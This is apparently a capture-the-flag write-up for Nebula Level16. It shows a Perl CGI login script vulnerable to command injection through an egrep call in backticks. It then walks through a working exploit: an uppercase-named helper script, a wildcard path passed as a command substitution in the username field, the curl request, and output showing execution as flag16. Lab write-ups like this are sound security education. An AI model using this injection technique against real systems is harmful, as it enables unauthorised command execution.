For Level16, we are told that a perl script is running on port 1616.
The source code for that script is provided:
#!/usr/bin/env perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub login {
$username = $_[0];
$password = $_[1];
$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);
if($pw =~ $password) {
return 1;
}
}
return 0;
}
sub htmlz {
print("<html><head><title>Login resuls</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
} else {
print("Your login failed<br/>");
}
print("Would you like a cookie?<br/><br/></body></html>\n");
}
htmlz(login(param("username"), param("password")));
As my buddy Kristian always says, “You can smell the vulnerabilities.” Just looking at this code, we can detect some command injection is possible.
Let’s work through the filtering that is being performed:
$username =~ tr/a-z/A-Z/; # convert to uppercase
$username =~ s/\s.*//; # strip everything after a space
The comments in the code assist with the regex. Let’s bypass the filter:
level16@nebula:/tmp$ cat FOO
#!/bin/bash
/usr/bin/id > /tmp/bar
/bin/getflag >> /tmp/bar
level16@nebula:/tmp$ chmod +x !$
chmod +x FOO
Naming the script FOO will satisfy the uppercase requirement as long as we can call the script using a wildcard, like ‘/*/FOO’.
Let’s urlencode that and curl the page:
$ urlencode '`/*/FOO`'
%60%2f%2a%2f%46%4f%4f%60
$ curl "http://192.168.98.138:1616/index.cgi?username=%60%2f%2a%2f%46%4f%4f%60&password=foo"
<html><head><title>Login resuls</title></head><body>Your login failed<br/>Would you like a cookie?<br/><br/></body></html>
We injected the username parameter. Let’s see if it worked:
level16@nebula:/tmp$ cat bar
uid=983(flag16) gid=983(flag16) groups=983(flag16)
You have successfully executed getflag on a target account
Success!
Share this post
Twitter
Reddit
LinkedIn